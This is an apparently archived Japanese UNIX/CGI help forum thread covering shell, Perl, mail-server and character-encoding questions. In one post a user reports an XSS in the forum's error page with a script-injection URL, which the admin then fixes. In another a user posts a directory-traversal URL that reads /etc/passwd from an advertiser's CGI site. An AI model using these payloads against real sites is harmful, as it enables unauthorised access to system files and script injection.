= "/usr/local/bin/cvs"; +$rcsdiff = "/usr/local/bin/rcsdiff"; +$sendmail = "/usr/lib/sendmail"; sub parse_args { my(@tmp, $tmp); - $CVSROOT = ENV{'CVSROOT'}; + $CVSROOT = $ENV{'CVSROOT'}; + $CVSROOT =~ s/.*://; print $ARGV[0], "\n" if $debug; $ARGV[0] =~ s/ - New directory//go; @@ -49,6 +50,7 @@ sub set_header { my(@h, $file, @tmp, $date); open(HISTORY, "$tail -$files $CVSROOT/CVSROOT/history |") || die; @h = <HISTORY>; close(HISTORY); @@ -84,8 +86,8 @@ sub todate { sub mail_notification { my($file, $fullname, $old, $new, $tmp); - open(MAIL, ">> /tmp/commitlog"); + open(MAIL, "| $sendmail -odb -oem -t"); print(MAIL "$subject"); print(MAIL "$header"); - loginfo に DEFAULT $CVSROOT/CVSROOT/mailto-committers.pl %{sVv} $USER メールアドレス を追加し、commit。 |
|
mailto-committers.plの方法を試しましたが結果は同じで1分以上待ってから送信されます。 %mail メールアドレスは普通に送信されました。 もう少し調べてみます。 |
|
はじめまして、メールサーバの管理をしているのですが、 最近サーバがpopユーザ数に対応しきれず、 pop.lockがかかってメールが取れない事が頻繁に発生しています。 popデーモンはqpopperをつかっています。 そこで、このロックの解除方法で疑問があります。 qpopperが起動すると、まず、/var/mai/.user-id.popファイルにコピーを作成。 無事にコピーが終わると、/var/mai/user-idはサイズ0に切り詰められる。 POPサーバーは、このコピーと、解析した結果を元にクライアントとやりとりします。 ネットで調べると、.user-id.popファイルを削除する方法をよく見かけますが、 途中でセッションが切れてロックファイルが残ってしまったような場合、 この方法では受信し切れなかった分のメールはなくなってしまうのでしょうか? ほっとけば30分でロックファイルはなくりますが、 これもただ強制的にロックファイルを削除しているだけなのでしょうか? また、popのプロセスをkillする方法もありますが、この場合のロックファイルは どう処理されるのでしょうか? ご指導、宜しくお願いします。 |
|
>>2629 john 一口に qpopper と言っても、2.5x 系、3.x 系、4.0.x 系 などがあります。 ちゃんとバージョンを書きましょう。 > qpopperが起動すると、まず、/var/mai/.user-id.popファイルにコピーを作成。 > 無事にコピーが終わると、/var/mai/user-idはサイズ0に切り詰められる。 > POPサーバーは、このコピーと、解析した結果を元にクライアントとやりとりします。 4.0.3 では、 認証完了 → user-id.lock 作成 → user-id を .user-id.pop にコピー → user-id を 0 バイトに → user-id.lock 削除 でした。「pop.lock」ってどのことを指してますか? あるいは本当に 「pop.lock」というファイルがあるのでしょうか? |
|
お世話になります、小僧です。 質問をさせてください。 あるシェルをバックグランドで実行させ、 その後Window を閉じる、という処理を行おうとしています。 過去ログなどを参照した結果、実行コマンドは nohup ???.sh & でいいと思うのですが、終了のさせかたに疑問が残ります。 と、言うのも logout コマンドは受け付けてくれるのですが、 exit コマンドは 1 回目は受け付けてくれません。 ( 2 回叩くと exit してくれます・・・) 本で調べた結果、exit は「シェルスクリプトを終了」し、 logout は「ログインシェル」を終了させると書いてありましたが、 この意味するところがわからなく、困っています。 この 2 つのコマンドの違いが分かるか方がいらっしゃいましたら、 アドバイスをお願い致します。 −−− OS は AIX 4.3 シェルは ksh 調べた本は「UNIX クイックリファレンス」 です。 宜しくお願い致します。 |
|
>>2631 小僧 > logout コマンドは受け付けてくれるのですが、 > exit コマンドは 1 回目は受け付けてくれません。 それはまた謎な話ですね。 % nohup sleep 100 & % exit でも再現しますか? 単に (nohup を実行せずに) % exit だと? また、「受け付けてくれない」とはどういう状況を指してますか? 何かエラーメッセージは出ますか? |
|
>>2632 68user お世話になります、小僧です。 早速の返信、ありがとうございます。 68user さんが記述されているコマンドを実行してみました。 以下、結果です。 ---------- Start # nohup sleep 100 & [1] 37802 # nohup の出力を nohup.out に送信します。 # exit 実行中のジョブがあります。 ---------- End 情報が足りなかったのですが、 「受け付けてくれない」というのは "実行中のジョブがあります。"メッセージが 表示されて、終了されないことを指しています。 ちなみに、上記の状態でもう一度「exit」を実行すると、 上手く画面が消えてくれます。 宜しくお願い致します。 |
|
>>2633 小僧 > "実行中のジョブがあります。" それはシェルが 「実行中のジョブがあるけど、本当に exit で抜けてよいのか?」 と親切に聞いてくれているのです。 これはただの警告であって、抜けようと思えばいくらでも抜けられます。 二度目の exit は 「警告したにもかかわらず再度 exit しようとした」 ということで、今度は抜けることができます。 FreeBSD や Solaris では、端末を持たないコマンド (?) をバック グラウンドで実行している場合は、素直に exit させてくれるん ですけど、AIX はそうではないようですね。 |
|
>>2634 68user お世話になります、小僧です。 早速の回答、ありがとうございました。 別に exit と logout のコマンドが 違う訳ではなかったのですね。 今後も宜しくお願い致します。 |
|
はじめまして。検索していてここに辿り着きました。よろしくお願いいたします。 SunOS 5.7 cshでファイルをテープにバックアップする時に tarでやっているのですが、ファイル数が多くなって出来なくなって しまいました(argument too long)。 echo /パス/ | xargs tar cvf としても、だめみたいです(xargsは外部コマンドでした)。 ファイル数を減らすという他に何か良い方法はないでしょうか。 お忙しいところ誠に恐縮ですが、宜しくご教示ください。 |
|
>>2636 Yasuo Y > echo /パス/ | xargs tar cvf > としても、だめみたいです(xargsは外部コマンドでした)。 xargs tar cvf /dev/XXX ですよね? で、「だめ」とはどういう意味ですか? 少なくとも Argument too long は 出ないはずですが。 ただしこの場合、 % tar cvf /dev/XXX file1 file2 file3 .... % tar cvf /dev/XXX file1500 file1501 file1502 .... % tar cvf /dev/XXX file4000 file4001 file4002 .... と複数回 tar が実行されますが、それでいいのですか? 解決策は tar の -I オプションじゃないかと思います。 |
|
>>2635 小僧 > 別に exit と logout のコマンドが違う訳ではなかったのですね。 違いますよ。logout はログインシェルを終了させるとき、exit は シェルを終了させるときに使います。ログインシェルというのは、 Login: Password: というような認証の直後に起動したシェルのことです。 |
|
>>2637 68user 68Userさん、ありがとうございます。 tar cvf /dev/XXX -I /パス名1 -I /パス名2 -I /パス名3 として実行してみたのですが、変な文字がコンソールにいっぱい出てきて すぐ止めました。 それから、Argument Too Longも相変わらず出ています。 せっかく教えていただいたのに解決できませんでした……。 たくさんあるファイルをテープにバックアップしている ところは、一体どうやってやっているんでしょうか?? |
|
>>2639 Yasuo Y > tar cvf /dev/XXX -I /パス名1 -I /パス名2 -I /パス名3 man tar しました? -I の意味を調べました? あと、別解としては、 % echo * | xargs tar rvf /dev/XXX かなぁ。うまくいくかどうかはわかりませんが。 |
|
はじめまして UNIXについて質問なのですが、a.txt と b.txt というファイルがあり aの中には abcdefg という内容があり bの中には hijklmn という内容があります。そこで a の中に b の内容をコピーしたいのですが、どのようにコピーしたらよいのですか、教えてください。 行のコピーの仕方ってあるんですか? |
|
>>2640 68user とりあえずうまくいってるようです。 Cシェルの実行中に出てきたエラーメッセージなのですが、 Argument Too longは、他のところで出ているもののようでした。 どうもお騒がせしました。 |
|
ども初めまして。 http://x68000.startshop.co.jp/%7E68user/cgi-bin/<script>alert("----")</script> のエラーページでいま話題のクロスサイトスクリプティングの脆弱性を確認出来ました。 たぶん、error.cgiの原因と思われます。 私も利用させてもらっていますがperlのことは分かりませんので Fixされるようお願いします。 |
|
>>2643 ある厨 なるほど。外部からの情報をちゃんとチェックしてないな。 ふむふむ。賢い |
|
File System full で、しばらくこのサーバにアクセスできない状態に なってました。 >>2643 ある厨 > のエラーページでいま話題のクロスサイトスクリプティングの脆弱性を確認出来ました。 ご指摘ありがとうございます。< > を < > に置換するようにしました。 あと、Host: ヘッダにも全く同じ脆弱性がありましたので直しました。 http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/cgi-bin/error.cgi >>2641 あき いまいちやりたいことがわかりません。例をあげて説明して下さい。 |
|
はじめまして。 UNIXを始めたばかりの初心者なんですが、 あるフ゜ロク゛ラムから、その日の日付の入ったファイル名を持つファイルを 自動生成させたいのですが、 どうもうまく出来ないんです。 というのも、僕はdateの情報をcutもしくは、date +%y%m%d"などで、 その日の日付を抜き取り、変数に入れた後、 touch $[変数名] と、そんな感じでやってみたんですが、 これって、パイプを使っても変数の中に日付って入らないですよね? 出来れば、[日付入りファイル名]の作り方を教えて頂けませんか? ぜんぜん違うアプローチでその方法があるならそちらでも一向に構いませんのでm(__)m |
|
>>2646 knockout 言語は何ですか。 |
|
返答どうもです。 ksh見たいです(w |
|
返答ありがとうございます。 えっと、「echo $SHELL」と入力して、 /usr/bin/ksh と出ますので、kshですね。 すいません、こんなふざけた返答で(^^; |
|
>>2648 knockout nowdate=`date +%y%m%d` echo $nowdate と `` を使います。 パイプを使うこともできなくはありませんが、無駄に長くなります。 複数行を処理する必要がないなら `` でよいでしょう。 date +%y%m%d | while read line do echo $line done |
|
出来ました!! なるほど``ですね。 早速、ホンチャンのプログラムに組み込んできます。 ありがとうございましたm(__)m |
|
度々すいません。 えっと、さっきの返答してもらった最後の記述 date +%y%m%d | while read line do echo $line done は、何を行っているんでしょうか? 僕の解釈ではdateで表示したのを、変数lineに代入、 その後がいまいち理解が、 echo $lineは分かるんですけどね、 doとdoneを使っている意味が はっきり分からないんです。 「それぐらい調べろ」っていわれそうですが、 どうか一つ宜しくお願いします(^^; |
|
はじめまして。LINUXをはじめたばかりのものです。 c言語用FTPクライアントのプログラムを ダウンロードしたのですが、 実行方法がいまいちわかりません。 他のサイトでサーバ、クライアントのファイルは それぞれで実行すればよかったのですが、 今回の分はFTPサーバを自分で作らなければ ダメなのでしょうか? かなり初歩的な質問だと思いますが 教えてください。 |
|
リンク先があるかどうか知るにはどうすればいいですか? 具体的には他人に書き込んでもらったアドレスの、 例えばhttp://www.a.com/a/a.gifの絵があるかどうか知りたいのです。 それと、絵の大きさも知りたいです。 それで大きすぎたら表示しないようにしたいのですが。 よろしくお願いします。 |
|
はじめまして、apexと申します。 今、Cシェル(OSは、ソラリス8)で、簡単なプロセス管理ツールを作成しています。 この時、以下のことでうまく動作せず悩んでおります。 もし、おわかりになれば教えてください。 1:Cシェル内で、rootユーザになる方法。 要するに、パスワードをシェル内に記述して、コマンドラインに渡せ るかどうか? 2:awkにて、プロセスを切り出す方法 「ps -ef | grep ABC」からABCを認識させ、ABCプロセスが存在しな ければ、起動する。 この時、ps-efコマンドを実行した時の、第2パラメータが ”root”で、第9パラメータが”ABC”であるものを切り出したい。 以上、お手数ですが、よろしくお願いします。 |
|
>>2655 apex 1についてですが、 expectというコマンドがあれば、これを使ってみてはどうでしょうか。 ここにサンプルがありますね。 http://www.math.s.kobe-u.ac.jp/~kodama/tips-expect.html |
|
>>2652 knockout > doとdoneを使っている意味がはっきり分からないんです。 while 〜 do 〜 done でひとまとまりのループです。なぜループを使うかと 言うと、複数行の出力を1行ずつ取り出して処理しているからです。 >>2653 H.M > c言語用FTPクライアントのプログラムをダウンロードしたのですが、 > 実行方法がいまいちわかりません。 http://X68000.startshop.co.jp/~68user/net/c-ftp-1.html ですか? このページに書いてある通りに実行すれば、引数で指定した FTP サーバに接続しにいくはずですが…。 >>2654 田中 > 具体的には他人に書き込んでもらったアドレスの、 > 例えばhttp://www.a.com/a/a.gifの絵があるかどうか知りたいのです。 リンクチェッカやダウンローダを使います。 > それと、絵の大きさも知りたいです。 ヘッダを解析します。各種ライブラリやコマンドを使ってもいいです。 > それで大きすぎたら表示しないようにしたいのですが。 if 文で判断します。 # 環境も何もわからないと、この程度のことしか言えません。 >>2655 apex > パスワードをシェル内に記述して、コマンドラインに渡せるかどうか? できなくはないです。 >>2573 68user を参照。 が、コマンドラインからだと (端末を握っている場合、という意味) うまく いかないので、やめといた方がよいでしょう。sudo や expect を使うのが 一番いいです。 > この時、ps-efコマンドを実行した時の、第2パラメータが”root”で、 > 第9パラメータが”ABC”であるものを切り出したい。 ps -ef | awk '$2=="root" && $9=="ABC" {print}' ps -ef | awk '$2~/^root$/ && $9~/^ABC$/ {print}' あたりでしょうか。 |
|
2654番の田中です。 お答え有難うございました。 言葉足らずですいません。 perlでcgiを勉強しながら製作中です。 でもう一度、 リンク先があるかどうか知るにはどうすればいいですか? 具体的には他人に書き込んでもらったアドレスの、 例えばhttp://www.a.com/a/a.gifの絵が存在するかどうか 知りたいのです。 それと、絵の容量も知りたいです。 それで大きすぎたら表示しないようにしたいのですが。 よろしくお願いします。 |
|
>>2658 田中 > リンク先があるかどうか知るにはどうすればいいですか? wget などのダウンローダやリンクチェッカを使います。現在のサーバに それらのソフトが入っていなければインストールします。あるいは libwww などの perl モジュールをインストールするのもよいでしょう。 それもできないなら、 http://www.studyinghttp.net/Hyd_HTTP.html がお勧めです。 > それと、絵の容量も知りたいです。 「容量」とはファイルサイズのことですか? 前の質問では「大きさ」と あったので縦横のサイズかと思ったのですが。 ファイルサイズなら Content-Length ヘッダを見ます。Content-Length ヘッダが付かない場合もあるので、その際は実際にダウンロードして そのサイズを調べる)。 縦横のサイズなら、file コマンドや ImageMagick 付属の identify コマンドを使います。 % file hoge.jpg hoge.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), 72 x 72 % identify hoge.jpg hoge.jpg JPEG 25x40 DirectClass 8-bit 912b 0.0u 0:01 > それで大きすぎたら表示しないようにしたいのですが。 「表示」というのも曖昧です。一度サーバ側にダウンロードしてから 表示させるのか、あるいは <img src="..."> を出力するだけなのか。 どちらにせよ、ファイルサイズなり縦横のサイズなりを if 文で 判断すればよいでしょう。 |
|
>>2658 田中 また無駄な回答をしてしまった。 http://script.lovely.to/bbs/infolng.cgi?print+200204/02040010.txt もうこないでね。 |
|
大学でUNIXを勉強しているのですが… ただ教授の命令どおりにコマンドを入力して実行しているだけで、 何をやってて何をするためにUNIXを勉強しているのか分かりません。 大体パソコンをかまうのにも慣れてない自分は、 「この〜〜〜を、〜〜〜して」 ※〜〜〜→聞きなれない英語 といわれ続けちんぷんかんぷんです。 どうしたら上手くUNIXを学べれるのでしょうか? もしアホでも分かるお勧めの本とかあれば紹介していただきたいのですが… |
|
>>2661 しなくろ 興味がなければ学ばない。でも単位を落とさないように暗記だけする。 ってのがいいんじゃないでしょうか。興味がわかないことを勉強しても 時間の浪費にしかならないと思います。 興味はあるけどわからないって場合は…どうしたもんでしょうかねぇ。 |
|
Fixども。 設定完了しましたのでお礼まで。 |
|
はじめまして。とても参考になります。 telnetのところでWindowsではtelnetでホームページはみれないのでしょうか? |
|
>>2664 なは > telnetのところでWindowsではtelnetでホームページはみれないのでしょうか? http://x68000.startshop.co.jp/~68user/net/win-telnet.html では どうでしょうか。 と言っても Windows 2000 の telnet.exe では設定方法が違う んですけどね。 |
|
perlについてですが、無名のハッシュ又は配列のレファレンスに、配列要素を追加する方法を教えてください。ついでに配列の参照の仕方も教えもらえると有りがたいです。 以下のソースは変数を@line_0 .. 9までと変数を9個使っていますが、これを$line_{0} .. {9}と一つの変数にさせたいと思っています。 while (<IN>) { local($date) = (split /<>/)[0]; push (@{'line_'.$date},$_); } foreach (0..9) { foreach $line (@{'line_'.$_}) { print $line; } } |
|
>>2666 a-jmj ん〜、$line_{2} で 2 行目のデータが得られればいいのですか? そのとき得たいデータは日付 ($date) と行全体? |
|
説明不足ですいません。 1<>aaaa<> 1<>bbbb<> 2<>cccc<> というデータがあったとしたら、 $line_{1}[0] = '1<>aaaa<>' $line_{1}[1] = '1<>bbbb<>' $line_{2}[0] = '2<>cccc<>' といった風にしたいのですが、以下のソースではエラーが出てしまいます。 open(IN,"file"); while (<IN>) { local($date) = (split /<>/)[0]; push (@line_{$date},$_); } colse(IN); これをする目的は下のように全体のデータを何度も回転させたくないので、 データを分別しときたいのです。 open(IN,"file"); @lines = <IN>; colse(IN); foreach (0..9) { print $_; foreach $line (@lines) { my($i,$data) = split /<>/,$line; print $data if ($i == $_); } } 無名のリファレンスを使いたい理由としては、@{'line_'.$date}といった感じの変数を使いたくないのと、効率を考えたらリファレンスが使えないことです。 |
|
>>2668 a-jmj こんな感じでしょうか。 open(IN,"file"); while (<IN>){ chomp; local($date) = (split /<>/)[0]; push(@{$line_{$date}}, $_); } close(IN); foreach $date (sort keys %line_ ){ foreach (@{$line_{$date}}){ print "$_ "; } print "\n"; } 実行結果: 1<>aaaa<> 1<>bbbb<> 2<>cccc<> |
|
どうもありがとうございます。 ええそうです、求めていたのはこれです。 無名も普通のリファレンスみたいに使うのですね。 なかなかリファレンスを詳しく書いた資料がないものですね。 実際の運用には8桁の日付で、分別させているのですが、以前の方法でしたら、 use strict;を使おうにも変数名が不規則なうえ、指定してやらなければ成らな い変数が膨大な数になってしまうことが問題でした。 その他に良い分別方法があったら教えていただけたら、幸いです。 |
|
>>2670 a-jmj > その他に良い分別方法があったら教えていただけたら、幸いです。 データ構造を変えていいなら、各行に一意の番号を付けて $data{123}{DATE} = '20020101'; $data{123}{NAME} = 'hoge'; $data{123}{MAIL} = 'foo@bar'; などとするのが好みです。 データ構造を現行のままにするなら案の通り $data{20020101}[0] = '1<>aaaa<>' とするのも悪くないでしょう。 あるいは最初に <> を解析しておいて $data{20020101}[1]->{NAME} といった形でアクセスできるようにするという手もあります。以下サンプル。 my %data; open(IN,"file"); while (<IN>){ chomp; my ($date,$name,$mail,$content) = split /<>/; my %hash; $hash{NAME}=$name; $hash{MAIL}=$mail; $hash{CONTENT}=$content; push(@{$data{$date}}, \%hash); } close(IN); foreach $date (sort keys %data ){ print "$date: "; foreach my $ref_hash (@{$data{$date}}){ print "$ref_hash->{NAME} $ref_hash->{MAIL} $ref_hash->{CONTENT} "; } print "\n"; } print "おまけ: $data{20020101}[1]->{NAME}\n"; データファイルの内容: 20020101<>名前1<>メールアドレス1<>発言内容1 20020101<>名前2<>メールアドレス2<>発言内容2 20030203<>名前3<>メールアドレス3<>発言内容3 実行結果: 20020101: 名前1 メールアドレス1 発言内容1 名前2 メールアドレス2 発言内容2 20030203: 名前3 メールアドレス3 発言内容3 おまけ: 発言内容2 ただし、perl でちょっと凝ったリファレンスを使い出すと、とてつもなく ソースが汚くなるので、クラスを使いたくなるかもしれません。そして クラスを使い出すと、perl の OO に嫌気がさして ruby を使い出すかも しれません。 なので、ほどほどのところでやめておく方がいいのかも。 |
|
始めまして。C-CGI システム構築をHTMLのタグレベルで実現するツール の紹介ページが shino.server-club,net/index.htm にあります。皆様の 御参考になればとCMまがいの書き込みを致しました。 |
|
>>2672 Shino こんなもので金が取れると思ってるの?? なんか最初からあやしげな臭いがプンプンしてたけど、やっぱり。。 http://shino.server-club.net/cgi-bin/DS.cgi?COMMAND=Html&HTML=../../../../../../../etc/passwd 注:Referer。 汚染チェックしてね。 |
|
名無しさん様、大変失礼を致しました。 |
|
おひさしぶりですみません。質問です。 よく、インターネット(Web、メール)で (いわゆる)半角カナを使ってはいけないといわれますが、 この理由が、 ・インターネットは ASCII 以来、7ビットしか通さない伝送路が 使われてきたので、7ビットコードを使うのが望ましい ・日本の場合 ISO-2022-JP が標準 ・ISO-2022-JP は、4つの面に(いわゆる)半角カナ以外の コードが割り当てられている。 ・つまり、ISO-2022-JP には半角カナが「ない」 ・ないものは使ってはいけない という風に覚えていましたが、 UNIX の mule や Windows の xyzzy で ISO-2022-JP を指定して (いわゆる)半角カナを入れるときの、 「ESC)I がエスケープシーケンスで(いわゆる)半角カナ」 というコード系は、何に規定されているものなのでしょうか。 こんなの、ちょっと調べろよって話だと思うんですが、 調べ方が悪いのかこれだ、という情報に当りません、、。 |
|
>>2675 ふくし > 「ESC)I がエスケープシーケンスで(いわゆる)半角カナ」 > というコード系は、何に規定されているものなのでしょうか。 何にっていうのは、どの規格で定められているかってことですよね。 http://www2d.biglobe.ne.jp/~msyk/charcode/jisx0201kana/ には JUNET方式のエンコーディング方式を素直に拡張すれば、この エンコーディング方式になる。 とありますが、何をどう素直に拡張すればこうなるのか (僕の知識 不足のため) 理解できません。 http://www.kanzaki.com/docs/jis-mail.html には RFC1468には記載されていませんが、定義からESC ( I が7ビットの カタカナを指示(designate)するエスケープシーケンスとなるので、 とありますが、どこをどう読めば ESC ( I が 7bit カタカナを指示する ことになるのか これまた (僕の知識不足のため) 理解できません。 わかったら僕にも教えて下さい。 |
|
>>2675 ふくし > よく、インターネット(Web、メール)で(いわゆる)半角カナを > 使ってはいけないといわれますが、 おっと、見逃してた。ここで「web」を挙げているのは誤りです。 インターネット (≒ TCP/IP) は 8bit を通します。FTP も HTTP も 8bit through です。過去 7bit しか通さない実装が多かったのは SMTP で、7bit しか通らないところに日本語を通そうという苦肉の 策が、後の ISO-2022-JP につながる JUNET コードです。 よって、web で半角カナ使用禁止という話はありません。もちろん web で Content-type: text/html; charset=ISO-2022-JP としているならば半角カナは使えませんけれども。 ちなみに、個人的には半角カナは嫌いでしたが、2ch で AA を見てると、まぁ 半角カナもいいかなと思い始めていました。が、半角カナは EUC-JP と Shift_JIS でバイト長が違うため、項目長を事前に決めておかなければ ならない DB では何かとトラブルの元です。よって、やっぱり半角カナ 嫌いに戻ってしまいました。 |
|
そっかー。68user さんもわからないと聞いて 少なくともつまんない質問ではなかったとわかって なんかホッとしました(^o^) マルチポストになりますが、別所で聞き、なにかわかったら また書きます。ありがとうございます。 他の方も、なにかありましたらご教示ください。 |
|
>>2675 ふくし >>2676 68user お久しぶりです。 http://euc.jp/i18n/charcode.ja.html によると、 >終端文字と文字集合の対応は登録制になっており、 ECMAという組織が登録簿を管理して います。 (略) >・94文字集合 (略) >I > JIS X 0201カタカナ >J > JIS X 0201ローマ文字 とあります。 先にECMAが決めたのか、誰かが既に決めたのをECMAが登録したのかは、 わかりませんが。 |
|
>>2679 へにか なるほどなるほど。 http://www.ecma.ch/ecma1/STAND/STANDARD.HTM のどれかにその記述があるのでしょうか。PDF しかないようなので 中身は見ていませんけれども。 ちなみに G0 とかロッキングシフトなども理解してないんですが (どこの 解説を読んでもよくわからん)、初心者向けの解説がどこかにないもので しょうか。 |
|
へにかさん、ありがとうございます。 わたしも xyzzy ユーザーズMLで質問を投げました。 いまメーラーが使えないので、記憶でサマリーすると、 ・ふくしが ISO-2022-JP の4つの面にそれぞれ半角カナ以外の コードが入っていると思っているのはカン違いで、 ISO-2022-JP は G0 集合だけを使い、エスケープシーケンスで 切り替えて使う(G1〜G3 は使用禁止) ・そこに割り当てられるコードが (RFC 1468 より引用) > Esc Seq Character Set ISOREG > ESC ( B ASCII 6 > ESC ( J JIS X 0201-1976 ("Roman" set) 14 > ESC $ @ JIS X 0208-1978 42 > ESC $ B JIS X 0208-1983 87 の4種類で、7ビットカナ(JIS X201 の右半分)は 意図的にはずされている ・JIS X201 のコード表と、終端記号の I は、 へにかさんも書いておられますが ISO の登録簿にある。 http://www.itscj.ipsj.or.jp/ISO-IR/ で登録されているものは確認できる。 ・登録を行う=>終端記号が割り当ててもらえる、 という流れで、登録作業は ISO/IEC JTC1/SC2 の事務国である日本(!) ということだそうです。 ESC(I の歴史は ISO-2022-JP より古く、 ISO-2022 のフルセットを使えば半角カナが使えるように (だと思うんですが、、) 定義されているようです。 他にもいくつか ISO-2022-JP の半角カナ拡張はありますが (G1 集合に半角カナがあるとみなして、 往年の ISO 646 のように SI/SO で切り替えたり。 これは Microsoft Internet Mail 方式?) ・G0 のみしか使わない ・ISO の登録簿にあるコード表と終端文字を使う という点で、最も正当で自然な方法と ESC(I 式が みなされているそうです。 で、推奨される文献としては http://euc.jp/i18n/charcode.ja.html#chap4 が上げられていました。 xyzzy の ML はアーカイヴが公開されているので、 教えてくださった方との実際のやりとりはそこで読めると思います。 いかがでしょうか。 こんなところでぼくは満足ですが、、。 で、2ch の AA ってなんですか?(^^) |
|
もう、だめ・・・ CPU使用率の確認でsar -vってのあるんだけど、そのなかの file-szはシステムファイルテーブルの現在サイズ、および最大サイズ ってとこまではわかってるんですけど、 システムファイルテーブルって何を管理してるテーブルなの? だれかおしえて・・・ システムファイルだよっていうのは無しで。 |
|
>>2680 68user あいにく、僕もpdf-readerを持っていないので、代わりに以下の文書を見つけました。 http://www.io.com/~kazushi/encoding/cslist.html http://homepage1.nifty.com/emk/halfkana.html http://web.kyoto-inet.or.jp/people/tomoko-y/biwa/wnn/iso2022.html >最新のエスケープシーケンス一覧と、それに対応する各文字集合表は、 >ECMA から直接、入手可能である。スイス連邦にあるECMA の連絡先は、以下の >とおりである。 > > メールアドレス:helpdesk@ecma.ch > >住所: ECMA RUE DU RHONE 114 > CH-1204 GENEVE SUISSE また、僕は全部読んでないし、また、僕が理解できるかどうかは怪しいですが、 http://euc.jp/i18n/charcode.ja.html よりも良さそうな解説は、あいにくながら、見たことありません。 >>2681 ふくし 記憶に頼っているとはいえ、見事な纏めですね。あとでxyzzyのメーリングリスト、 あさってみますね。 |
|
>>2681 ふくし > で、2ch の AA ってなんですか?(^^) こんなのです。 http://members.tripod.co.jp/maruheso/aadic/ Ascii Art と言っても、全然 Ascii じゃないですけど。 >>2682 ぐっさん > システムファイルテーブルって何を管理してるテーブルなの? その時点で使用 (open) している i-node の数、じゃなかった でしょうか。違ったっけ。 |
|
はじめまして、サトと申します。 unixについて知識のある方、お助け下さい。。 会社のunixサーバを壊してしまいました。。 とある理由で、/usr/lib/libdl.so.1 が何者かも知らずに mv libdl.so.1 libdl.so.1.org などと実施してしまいました。 (osパッチを当てた後くらいから、コンパイルのリンクエラー でlibdl.so.1うんぬんと出てきたので、このライブラリだけ旧版に 戻してもみうと思って行ってしまいました。。) そしたら、それ以後のユーザーコマンドが一切実行できなくなりました。。 ユーザーコマンドのほとんどが libdl.soをリンクしていたようです。 よって、mvで戻そうとしてもmvもcpも起動できなくなって戻せない状態です。。 OSの再インストールを覚悟していますが、この状態で何か対処方法は ありますでしょうか? どなたかお助け下さい。。よろしくお願いします。。。 |
|
>>2685 サト OS は何ですか? 「UNIX」と言ってもいろいろありますので。 Solaris ならこんな感じで。 http://www.google.com/search?q=solaris+%95%9C%8B%8C+CD-ROM+mount&hl=ja また、HDD を別の UNIX マシンにつないで、適当な場所 (/hoge とか) に mount して、 # mv /hoge/lib/libdl.so.1.org /hoge/lib/libdl.so.1 などとする手もあります。 |
|
>>2686 68user 68user様、レス大変ありがとうございます。 どうにもならないのかと思っていたので、少し安心しましたです。 昨日から相当凹んでましたので。。 OSはソラリスで、マシンはSUNウルトラだっと思います。 (ソフト開発専門なのでマシン環境などはうとくて。。) 週明けにマシン環境の担当と相談してみます。 ありがとうございました。 |
|
HP−UNIXでman sarを実行したところオプションvのところで ”text-sz (該当しません)”となっていましたがtext-szは もともと何の監視のためにあったのか知ってたら教えてください。 |
|
お世話になります。トータルで3回目の質問になるのですが、 perl で例えば <>aa<>bb<>cc<>dd<> ←1行目 ee<>ff<>gg ←2行目 このようなデータがあった場合 <>aa <>bb <>cc <>dd <>ee <>ff <>gg のように出力させるコードを教えてください。 よろしくお願いします。 |
|
<> が区切り文字だと事前にわかっていれば、 chomp で改行を除き、 <> で split して、<> を改めて付加して出力、ですね。 通常のフィルターの書き方はわかりますか? chomp、split の使い方は man perlfunc か、 ラクダの本を見てください。 (どっかで日本語の man perl が公開されてたな) <>が区切り文字だとわかっていなければ、無理だと思います。 というのは、たとえば 1 行目で、<> が区切りなのか、 <>a なのか、<>aa なのか、機械には不明だからです。 |
|
以下はどうでしょうか? #!/usr/local/bin/perl my(@array) = ( "<>aa<>bb<>cc<>dd<>", "ee<>ff<>gg" ); foreach $aref ( @array ) { $str .= $aref; } $str =~ s/\</\n\</g; $str =~ s[ ^\n ]{}gsx; print "$str\n"; |
|
ふくしさん、aaaさん、 お二人のコードを参考にして解決できました。 ありがとうございました。 |
|
>>2691 aaa これはちょっと参考になりませんねぇ。。(aaaさんゴメン) ちょっと間違ってます。 ("[*1]<>aa<>bb<>cc<>dd<>[*2]", "[*3]ee<>ff<>gg" 与えられた配列の、*1〜3の所に項目が一つ増えただけで思ったようには動かないと思う。。 1つの変数にぶち込んだ時点で、*2 *3の区別ができなくなる。 そして、 $str =~ s[ ^\n ]{}gsx; ですが、、^\nでマッチするところは、s(単一行として扱う)が付いてるから、頭の所("\n<>aa...")の\nが取れるだけだし、、gを付ける必要は無い ここでまた一つ問題がある。。多分、motoさんの発言を見ると、*1の部分にも項目が来ると思われる。。"xx<>aa<>bb..." そうすると、1行目に<>が入らず、、 xx <>aa ... ってなる。。。 あともう一つ。@arrayは配列だって分かるから括弧を付ける必要は無い my @array = (...)こんな感じ |
|
自分で書いてみた。 my @target = ("<>aa<>bb<>cc<>dd<>", "ee<>ff<>gg"); my @result = map { my @tmp = split(/<>/); shift(@tmp) if $tmp[0] eq ''; @tmp; } @target; foreach (@result) { print "<>$_\n"; } |
|
HP-UNIXで過去の日付を表示させる方法しりませんか? ちなみにenv TZ=JST-9 dateでは1日分しかさかのぼれないので、 他の方法で知っている人がいれば教えてください。 |
|
>>2695 G shellutils で GNU 版 date をインストールするか、perl で localtime(time()-60*60*24) などとするのがお手軽なんじゃないでしょうか。 |
|
>>2696 68user 返答ありがとうございます。 なにぶん初心者なもので、アドバイスの意味があまりわからないの ですが、これから調べてやってみようと思います。 会社の環境ゆえ、インストールはできないのでperlの方を参考に させていただきます。自力でわからなかったときはまた、よろしく お願いいたします。 |
|
>>2689-2694 〜嫌がらせ編〜 「暗黙の初期化? 怖いけどイイ!」 while (length($a = substr("<>aa<>bb<>cc<>dd<>" . "ee<>ff<>gg", $b++, 1))) { uc($a) ne $a && length($c .= $a) == 2 && print "<>$c\n", $c = '' } 〜お気楽編〜 「パターンマッチマンセー!」 $a = "<>aa<>bb<>cc<>dd<>" . "ee<>ff<>gg"; while ($a =~ /(\w\w)/g && print "<>$1\n"){} 〜メモリ倹約編〜 「入力元即処理!」 (push @x, "<>aa<>bb<>cc<>dd<>"), push @x, "ee<>ff<>gg"; map {while ($_ =~ /(\w\w)/g && print "<>$1\n") {}} @x; #またはファイルから読み込む場合 while (<FILEHANDLE>) {while ($_ =~ /(\w\w)/g && print "<>$1\n") {}} |
|
よく拝見すると"Perl"とは入ってないですね 笑 >UNIX、CGI、ネットワーク、Java Servlet についての掲示板 |
|
